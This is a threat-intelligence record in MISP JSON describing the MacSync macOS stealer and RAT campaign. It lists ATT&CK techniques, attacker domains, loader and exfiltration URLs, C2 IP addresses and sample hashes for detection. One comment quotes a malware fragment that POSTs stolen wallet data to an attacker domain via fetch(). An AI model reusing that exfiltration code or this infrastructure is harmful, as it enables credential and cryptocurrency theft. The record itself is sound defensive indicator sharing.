{
  "Event": {
    "analysis": "1",
    "date": "2026-07-29",
    "extends_uuid": "",
    "info": "[Threat Intel] Reverse Engineering the Six Stages of MacSync Stealer and RAT",
    "protected": false,
    "publish_timestamp": "1785648669",
    "published": true,
    "threat_level_id": "3",
    "timestamp": "1785648669",
    "uuid": "968ce96c-67f6-4558-9404-888999d14cfa",
    "Orgc": {
      "name": "Rectifyq",
      "uuid": "cd9bd516-61fa-476b-980f-2f8de03992d4"
    },
    "Tag": [
      {
        "colour": "#8f20d0",
        "local": false,
        "name": "misp-galaxy:producer=\"Huntress\"",
        "relationship_type": ""
      },
      {
        "colour": "#ffffff",
        "local": false,
        "name": "tlp:clear",
        "relationship_type": ""
      },
      {
        "colour": "#004646",
        "local": false,
        "name": "type:OSINT",
        "relationship_type": ""
      },
      {
        "colour": "#3000b9",
        "local": false,
        "name": "rectifyq:workflow=\"enrichment\"",
        "relationship_type": ""
      },
      {
        "colour": "#b94b1d",
        "local": false,
        "name": "rectifyq:mitre-att&ck=\"from-original-src\"",
        "relationship_type": ""
      },
      {
        "colour": "#b94b1d",
        "local": false,
        "name": "rectifyq:mitre-att&ck=\"from-OTX\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Archive via Utility - T1560.001\"",
        "relationship_type": ""
      },
      {
        "colour": "#8ee8d8",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Screen Capture - T1113\"",
        "relationship_type": ""
      },
      {
        "colour": "#ed66f6",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Steal Web Session Cookie - T1539\"",
        "relationship_type": ""
      },
      {
        "colour": "#3eb869",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Local Data Staging - T1074.001\"",
        "relationship_type": ""
      },
      {
        "colour": "#838eb9",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Keychain - T1555.001\"",
        "relationship_type": ""
      },
      {
        "colour": "#7d7034",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"System Information Discovery - T1082\"",
        "relationship_type": ""
      },
      {
        "colour": "#89bea3",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"AppleScript - T1059.002\"",
        "relationship_type": ""
      },
      {
        "colour": "#68f2ff",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Data from Local System - T1005\"",
        "relationship_type": ""
      },
      {
        "colour": "#a92e1c",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Deobfuscate/Decode Files or Information - T1140\"",
        "relationship_type": ""
      },
      {
        "colour": "#75ec20",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Masquerading - T1036\"",
        "relationship_type": ""
      },
      {
        "colour": "#8ed4a7",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Credentials from Web Browsers - T1555.003\"",
        "relationship_type": ""
      },
      {
        "colour": "#9dfeaa",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Abuse Elevation Control Mechanism - T1548\"",
        "relationship_type": ""
      },
      {
        "colour": "#f95f85",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Credentials In Files - T1552.001\"",
        "relationship_type": ""
      },
      {
        "colour": "#3780c6",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"User Execution - T1204\"",
        "relationship_type": ""
      },
      {
        "colour": "#c84641",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"GUI Input Capture - T1056.002\"",
        "relationship_type": ""
      },
      {
        "colour": "#7628f7",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Unix Shell - T1059.004\"",
        "relationship_type": ""
      },
      {
        "colour": "#e08bb2",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Obfuscated Files or Information - T1027\"",
        "relationship_type": ""
      },
      {
        "colour": "#3b33aa",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Subvert Trust Controls - T1553\"",
        "relationship_type": ""
      },
      {
        "colour": "#15723e",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Launch Agent - T1543.001\"",
        "relationship_type": ""
      },
      {
        "colour": "#30cc3b",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"File Deletion - T1070.004\"",
        "relationship_type": ""
      },
      {
        "colour": "#49a260",
        "local": false,
        "name": "rectifyq:category=\"threat\"",
        "relationship_type": ""
      },
      {
        "colour": "#120044",
        "local": false,
        "name": "rectifyq:sub-category=\"intrusion-analysis\"",
        "relationship_type": ""
      },
      {
        "colour": "#130049",
        "local": false,
        "name": "rectifyq:sub-category=\"campaign-analysis\"",
        "relationship_type": ""
      },
      {
        "colour": "#ffd12e",
        "local": false,
        "name": "rectifyq:target=\"broad-based\"",
        "relationship_type": ""
      },
      {
        "colour": "#55acee",
        "local": false,
        "name": "rectifyq:MY-relevancy=\"potentially-relevant\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Compromise Host Software Binary - T1554\"",
        "relationship_type": ""
      },
      {
        "colour": "#92e858",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Web Protocols - T1071.001\"",
        "relationship_type": ""
      },
      {
        "colour": "#08b028",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Asymmetric Cryptography - T1573.002\"",
        "relationship_type": ""
      },
      {
        "colour": "#f07d7c",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Non-Standard Port - T1571\"",
        "relationship_type": ""
      },
      {
        "colour": "#4c0fbb",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Ingress Tool Transfer - T1105\"",
        "relationship_type": ""
      },
      {
        "colour": "#a9f8b1",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Exfiltration Over C2 Channel - T1041\"",
        "relationship_type": ""
      },
      {
        "colour": "#bce57a",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Exfiltration Over Web Service - T1567\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Financial Theft - T1657\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:malpedia=\"AMOS\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:malpedia=\"ScreenCap\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:operating-system=\"macOS\"",
        "relationship_type": ""
      }
    ],
    "Attribute": [
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": false,
        "type": "link",
        "uuid": "db119ebe-1339-40d6-aebf-072793a9d12e",
        "value": "https://www.huntress.com/blog/macsync-stealer-rat-reverse-engineering"
      },
      {
        "category": "Other",
        "comment": "Description",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": false,
        "type": "text",
        "uuid": "9c0dd1fa-e64c-4632-8c9b-aaedbdabf081",
        "value": "MacSync is a sophisticated six-stage macOS attack chain initiated when victims search for Claude installation instructions, click malicious Google Ads, and reach weaponized claude.ai/share conversations posing as Apple Support guides. The victim pastes a curl command that deploys a zsh loader, server-side AppleScript stealer, native Mach-O RAT, TCC permission-stealing helper, and wallet trojans. The operation steals browser credentials, keychain secrets, confirmed account passwords, Telegram sessions, SSH keys, and cloud credentials, but focuses heavily on cryptocurrency with approximately 60 wallet browser extensions, 21 desktop apps, and three trojanized hardware wallet companions designed to continuously phish recovery phrases. Infrastructure spans Cloudflare-fronted delivery domains (agenticsora[.]com, malwareaudit[.]com), an operator IP (103.216.221[.]95), dedicated RAT C2 (85.206.161[.]241:8443), and seed-phrase drop domains. The malware persists via LaunchAgents masquerading as legitimate updater se..."
      },
      {
        "category": "Other",
        "comment": "Summary",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": false,
        "type": "text",
        "uuid": "1319725e-3a5c-4342-bf5f-48dbd9122e2a",
        "value": "Name: Reverse Engineering the Six Stages of MacSync Stealer and RAT\nAuthor: AlienVault\nAdversary: \nTags: [\"amos\", \"credential theft\", \"rat\", \"macsync\", \"cryptocurrency targeting\", \"malvertising\", \"wallet trojan\", \"macos stealer\", \"sectoprat\", \"tcc bypass\", \"atomic stealer\"]\nTgtd countries: []\nMlwr families: [\"MacSync\", \"AMOS\", \"Atomic Stealer\", \"SectopRAT\"]\nAttack_ids: [\"T1560.001\", \"T1113\", \"T1539\", \"T1074.001\", \"T1555.001\", \"T1082\", \"T1059.002\", \"T1005\", \"T1140\", \"T1036\", \"T1555.003\", \"T1548\", \"T1552.001\", \"T1204\", \"T1056.002\", \"T1059.004\", \"T1027\", \"T1553\", \"T1543.001\", \"T1070.004\"]\nIndustries: []"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": false,
        "type": "vulnerability",
        "uuid": "f7639eff-2740-48b1-be9e-4ccb7519d55d",
        "value": "CVE-2024-55956"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "url",
        "uuid": "6cc7f1f6-f0d4-4850-b149-940278102ebb",
        "value": "http://com.apple.preference.security?Privacy_AllFiles"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "domain",
        "uuid": "4db9fce7-d2fb-469f-bb94-5853d2522185",
        "value": "malwareaudit.com"
      },
      {
        "category": "Payload delivery",
        "comment": "No sample in VT\r\nLast check: 02/08/2026",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785644648",
        "to_ids": true,
        "type": "md5",
        "uuid": "6bb9347f-d78b-40cb-9c36-b0a4f287a552",
        "value": "9dd465d26c7d86b4a6f514a4b46b2295",
        "Tag": [
          {
            "colour": "#260091",
            "local": false,
            "name": "rectifyq:ioc=\"enriched\"",
            "relationship_type": ""
          },
          {
            "colour": "#626567",
            "local": false,
            "name": "rectifyq:no-samples-in=\"VirusTotal\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Payload delivery",
        "comment": "No sample in VT\r\nLast check: 02/08/2026",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785644669",
        "to_ids": true,
        "type": "sha256",
        "uuid": "193c0241-7566-4909-9d7a-e750d3b2d773",
        "value": "071bd109208eb1080ef525b5be394244cec467c59ffef5b8782cfb5e4850401d",
        "Tag": [
          {
            "colour": "#260091",
            "local": false,
            "name": "rectifyq:ioc=\"enriched\"",
            "relationship_type": ""
          },
          {
            "colour": "#626567",
            "local": false,
            "name": "rectifyq:no-samples-in=\"VirusTotal\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Payload delivery",
        "comment": "No sample in VT\r\nLast check: 02/08/2026",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785644692",
        "to_ids": true,
        "type": "sha256",
        "uuid": "2759c487-cb70-4fa8-b401-e57a5909e18b",
        "value": "230dff4bf9442a951dcd6898b2110924969a20668c20a43e3ceed6fcef65963e",
        "Tag": [
          {
            "colour": "#260091",
            "local": false,
            "name": "rectifyq:ioc=\"enriched\"",
            "relationship_type": ""
          },
          {
            "colour": "#626567",
            "local": false,
            "name": "rectifyq:no-samples-in=\"VirusTotal\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Payload delivery",
        "comment": "No sample in VT\r\nLast check: 02/08/2026",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785644713",
        "to_ids": true,
        "type": "sha256",
        "uuid": "52ff9843-6d7d-437f-b2a5-5860ca5369b9",
        "value": "31566a1df7070f30cb990aa5eab310c1d4e0266c8776e9438138e5438ec1cff8",
        "Tag": [
          {
            "colour": "#260091",
            "local": false,
            "name": "rectifyq:ioc=\"enriched\"",
            "relationship_type": ""
          },
          {
            "colour": "#626567",
            "local": false,
            "name": "rectifyq:no-samples-in=\"VirusTotal\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Payload delivery",
        "comment": "No sample in VT\r\nLast check: 02/08/2026",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785644733",
        "to_ids": true,
        "type": "sha256",
        "uuid": "0e4fafdb-048c-40e5-b23d-70db7c042eea",
        "value": "3ae26ed89d3a1a140edc89ca78513aba2895789ed0d0f64cad6605b6f2347c7e",
        "Tag": [
          {
            "colour": "#260091",
            "local": false,
            "name": "rectifyq:ioc=\"enriched\"",
            "relationship_type": ""
          },
          {
            "colour": "#626567",
            "local": false,
            "name": "rectifyq:no-samples-in=\"VirusTotal\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Payload delivery",
        "comment": "No sample in VT\r\nLast check: 02/08/2026",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785644754",
        "to_ids": true,
        "type": "sha256",
        "uuid": "7ca2abb5-fbe8-468f-8c1b-c2e75d2d13cd",
        "value": "3db8befc08dc02ab7a76b5193abd81653775e8f3ceac5864c7c2188b2dbd3c54",
        "Tag": [
          {
            "colour": "#260091",
            "local": false,
            "name": "rectifyq:ioc=\"enriched\"",
            "relationship_type": ""
          },
          {
            "colour": "#626567",
            "local": false,
            "name": "rectifyq:no-samples-in=\"VirusTotal\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Payload delivery",
        "comment": "No sample in VT\r\nLast check: 02/08/2026",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785644775",
        "to_ids": true,
        "type": "sha256",
        "uuid": "600e84cc-2e7f-45b4-b995-929ce74bcc13",
        "value": "78dea0693ac2d70bdf8be7588667a75910e43fd84397ad484e710e37369a30f7",
        "Tag": [
          {
            "colour": "#260091",
            "local": false,
            "name": "rectifyq:ioc=\"enriched\"",
            "relationship_type": ""
          },
          {
            "colour": "#626567",
            "local": false,
            "name": "rectifyq:no-samples-in=\"VirusTotal\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "url",
        "uuid": "2ad7f2ca-3a8c-4eb6-8bcb-fafe6251d86e",
        "value": "http://agenticsora.com/curl/"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "url",
        "uuid": "f13c9e58-fced-4efc-9f79-f685a8c357bf",
        "value": "http://agenticsora.com/dynamic?txd="
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "url",
        "uuid": "9fec3a72-d7a9-4760-b364-8c55d95a6ce3",
        "value": "http://agenticsora.com/gate?buildtxd="
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "url",
        "uuid": "19486fba-28b3-4709-b0f5-db8f47a3609a",
        "value": "http://main.sdhomeinspectors.com/modules/wallets"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "url",
        "uuid": "86936dcc-fb8a-4022-8120-963f7d2fe5d2",
        "value": "http://main.southcarolinacounselor.com/modules/wallets"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "url",
        "uuid": "fd12c4fd-3a65-4e60-824c-0b088ee3c6bc",
        "value": "https://agenticsora.com/ledger/"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "url",
        "uuid": "256f62f3-f5c3-4eba-953d-504c89b1f470",
        "value": "https://agenticsora.com/loader/agent/"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "url",
        "uuid": "4bc25671-91a2-444b-9169-6187eef6df29",
        "value": "https://agenticsora.com/loader/capture-agent/"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "url",
        "uuid": "0582a301-c13f-4dc9-82d0-f3390ef2da53",
        "value": "https://main.sdhomeinspectors.com/modules/wallets'"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "domain",
        "uuid": "a1723453-f673-40fb-b458-8baa5eea1b0b",
        "value": "agenticsora.com"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "domain",
        "uuid": "9754b4e3-400c-4210-b48c-98a217f09770",
        "value": "sdhomeinspectors.com"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "domain",
        "uuid": "3159e34d-9163-4236-bfd4-d35dcde357a8",
        "value": "sldev.cz"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "domain",
        "uuid": "9232aec2-24eb-4ebc-8e2c-9508e554f64b",
        "value": "southcarolinacounselor.com"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "hostname",
        "uuid": "90da2e91-f38a-49a7-a6cb-3a0095495110",
        "value": "main.sdhomeinspectors.com"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785553218",
        "to_ids": true,
        "type": "hostname",
        "uuid": "5f646419-245e-4303-a9e4-80c6ca991fea",
        "value": "main.southcarolinacounselor.com"
      },
      {
        "category": "Network activity",
        "comment": "\"...an operator IP recorded in the stealer's beacon (103.216.221[.]95), and a dedicated raw-IP TLS channel for the RAT...\"",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785648668",
        "to_ids": true,
        "type": "ip-dst",
        "uuid": "47194095-755a-4445-82c8-86cd374abcc3",
        "value": "103.216.221.95",
        "Tag": [
          {
            "colour": "#d658ee",
            "local": false,
            "name": "asn:asn=\"136557\"",
            "relationship_type": ""
          },
          {
            "colour": "#c6a370",
            "local": false,
            "name": "asn:as-owner=\"HOST-AS-AP Host Universal Pty Ltd\"",
            "relationship_type": ""
          },
          {
            "colour": "#7f61db",
            "local": false,
            "name": "asn:as-country=\"AU\"",
            "relationship_type": ""
          },
          {
            "colour": "#0088cc",
            "local": false,
            "name": "misp-galaxy:country=\"australia\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "\"..., and a dedicated raw-IP TLS channel for the RAT (85.206.161[.]241:8443). Acknowledgments: Special thanks to Ryan D...\"",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785648669",
        "to_ids": true,
        "type": "ip-dst",
        "uuid": "d74ca5a2-98e4-4d6e-9b3e-3393167d5db7",
        "value": "85.206.161.241",
        "Tag": [
          {
            "colour": "#ee21c8",
            "local": false,
            "name": "asn:asn=\"61272\"",
            "relationship_type": ""
          },
          {
            "colour": "#3ddfe1",
            "local": false,
            "name": "asn:as-owner=\"IST-AS\"",
            "relationship_type": ""
          },
          {
            "colour": "#9eec58",
            "local": false,
            "name": "asn:as-country=\"LT\"",
            "relationship_type": ""
          },
          {
            "colour": "#41fb0e",
            "local": false,
            "name": "misp-galaxy:country=\"lithuania\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "\"...token = 'e9967985...bd85bbe'; const targetUrl = 'hxxps://main.sdhomeinspectors[.]com/modules/wallets'; fetch(targetUrl, { method:'POST', cache:'no-ca...\"",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785633473",
        "to_ids": true,
        "type": "url",
        "uuid": "a0ac33ae-8e64-41ce-94d2-031e27e4da0c",
        "value": "https://main.sdhomeinspectors.com/modules/wallets"
      },
      {
        "category": "Network activity",
        "comment": "\"...he fetch() through: [...,\"trezor.io\",\"sldev.cz\",\"invity.io\",\"main.southcarolinacounselor[.]com\", \"api.gith...\"",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785633473",
        "to_ids": true,
        "type": "domain",
        "uuid": "ace7b974-436b-49fc-8635-371daa4c516b",
        "value": "invity.io"
      },
      {
        "category": "Network activity",
        "comment": "\"...elor[.]com passed through a domain marketplace (a dan[.]com listing in 2023, an unrelated storefront in 2024)...\"",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1785633473",
        "to_ids": true,
        "type": "domain",
        "uuid": "016f4693-0f70-4256-b82b-521897cc4522",
        "value": "dan.com"
      }
    ],
    "Object": [
      {
        "comment": "",
        "deleted": false,
        "description": "File object describing a file with meta-information",
        "first_seen": "2026-07-15T18:11:12+00:00",
        "last_seen": "2026-07-23T11:09:37+00:00",
        "meta-category": "file",
        "name": "file",
        "template_uuid": "688c46fb-5edb-40a3-8273-1af7923e2215",
        "template_version": "25",
        "timestamp": "1785644777",
        "uuid": "7b45a397-0835-4ef7-a0cd-1e684434ee63",
        "Attribute": [
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "first_seen": "2026-07-15T18:11:12+00:00",
            "last_seen": "2026-07-23T11:09:37+00:00",
            "object_relation": "md5",
            "timestamp": "1785644776",
            "to_ids": true,
            "type": "md5",
            "uuid": "4284358e-2cab-4883-a173-8618bc237112",
            "value": "640517b19c01c6f21a40d4e6b61af029",
            "Tag": [
              {
                "colour": "#260091",
                "local": false,
                "name": "rectifyq:ioc=\"enriched\"",
                "relationship_type": ""
              },
              {
                "colour": "#220085",
                "local": false,
                "name": "rectifyq:samples-found-in=\"VirusTotal\"",
                "relationship_type": ""
              },
              {
                "colour": "#270095",
                "local": false,
                "name": "rectifyq:ioc=\"low-detection-by-any-vendor\"",
                "relationship_type": ""
              }
            ]
          },
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "first_seen": "2026-07-15T18:11:12+00:00",
            "last_seen": "2026-07-23T11:09:37+00:00",
            "object_relation": "sha1",
            "timestamp": "1785644777",
            "to_ids": true,
            "type": "sha1",
            "uuid": "bf7fd85e-a696-449b-95a7-dc6fb8e25bae",
            "value": "d0b0be4622ed92e4fa7191aba6f779895e79d196",
            "Tag": [
              {
                "colour": "#260091",
                "local": false,
                "name": "rectifyq:ioc=\"enriched\"",
                "relationship_type": ""
              },
              {
                "colour": "#220085",
                "local": false,
                "name": "rectifyq:samples-found-in=\"VirusTotal\"",
                "relationship_type": ""
              },
              {
                "colour": "#270095",
                "local": false,
                "name": "rectifyq:ioc=\"low-detection-by-any-vendor\"",
                "relationship_type": ""
              }
            ]
          },
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "first_seen": "2026-07-15T18:11:12+00:00",
            "last_seen": "2026-07-23T11:09:37+00:00",
            "object_relation": "sha256",
            "timestamp": "1785644777",
            "to_ids": true,
            "type": "sha256",
            "uuid": "266d6b8c-be8d-46e4-8a5f-94784fefde2f",
            "value": "9c09c303fa058c2d3e179969bd58ca5523775ff2d310fb2f8266ac74cb21ee81",
            "Tag": [
              {
                "colour": "#260091",
                "local": false,
                "name": "rectifyq:ioc=\"enriched\"",
                "relationship_type": ""
              },
              {
                "colour": "#220085",
                "local": false,
                "name": "rectifyq:samples-found-in=\"VirusTotal\"",
                "relationship_type": ""
              },
              {
                "colour": "#270095",
                "local": false,
                "name": "rectifyq:ioc=\"low-detection-by-any-vendor\"",
                "relationship_type": ""
              }
            ]
          },
          {
            "category": "Other",
            "comment": "Checked: 02/08/2026\nLast-scan: 02/08/2026",
            "deleted": false,
            "disable_correlation": true,
            "first_seen": "2026-07-15T18:11:12+00:00",
            "last_seen": "2026-07-23T11:09:37+00:00",
            "object_relation": "text",
            "timestamp": "1785644776",
            "to_ids": false,
            "type": "text",
            "uuid": "24b7e488-3633-4784-8eb3-bef91ebcaf82",
            "value": "Type Description: Mach-O\nMicrosoft: None\nClamAV: None\nVT Total Detection: 2/75\nFirst Submission: 2026-07-15T18:11:12+00:00\nLast Submission: 2026-07-23T11:09:37+00:00"
          },
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "first_seen": "2026-07-15T18:11:12+00:00",
            "last_seen": "2026-07-23T11:09:37+00:00",
            "object_relation": "ssdeep",
            "timestamp": "1785644776",
            "to_ids": true,
            "type": "ssdeep",
            "uuid": "f6d614be-8e66-4e39-b947-51059eecec0c",
            "value": "96:ef0pN8NB5cJ/tofrimnOPfCh2ZM6yUUE1rPaNJHuLOhn+gI4z+aQKOtWURSBSDY:yNBGDof2mCfC2LUcP2Z+gI0+42KkY"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": true,
            "first_seen": "2026-07-15T18:11:12+00:00",
            "last_seen": "2026-07-23T11:09:37+00:00",
            "object_relation": "size-in-bytes",
            "timestamp": "1785644776",
            "to_ids": false,
            "type": "size-in-bytes",
            "uuid": "6a95757f-05ff-4077-a1e7-d9f15feee8bf",
            "value": "84056"
          },
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "first_seen": "2026-07-15T18:11:12+00:00",
            "last_seen": "2026-07-23T11:09:37+00:00",
            "object_relation": "vhash",
            "timestamp": "1785644776",
            "to_ids": true,
            "type": "vhash",
            "uuid": "975f136f-b0cc-47ac-8d78-d5e2956ed87f",
            "value": "d32331aed156c7e685cc335fc176b49f"
          },
          {
            "category": "Payload delivery",
            "comment": "",
            "deleted": false,
            "disable_correlation": true,
            "first_seen": "2026-07-15T18:11:12+00:00",
            "last_seen": "2026-07-23T11:09:37+00:00",
            "object_relation": "filename",
            "timestamp": "1785644776",
            "to_ids": true,
            "type": "filename",
            "uuid": "39ef39a2-5207-41dc-902b-2cff6b3a3860",
            "value": "ScreenCap"
          }
        ]
      }
    ]
  }
}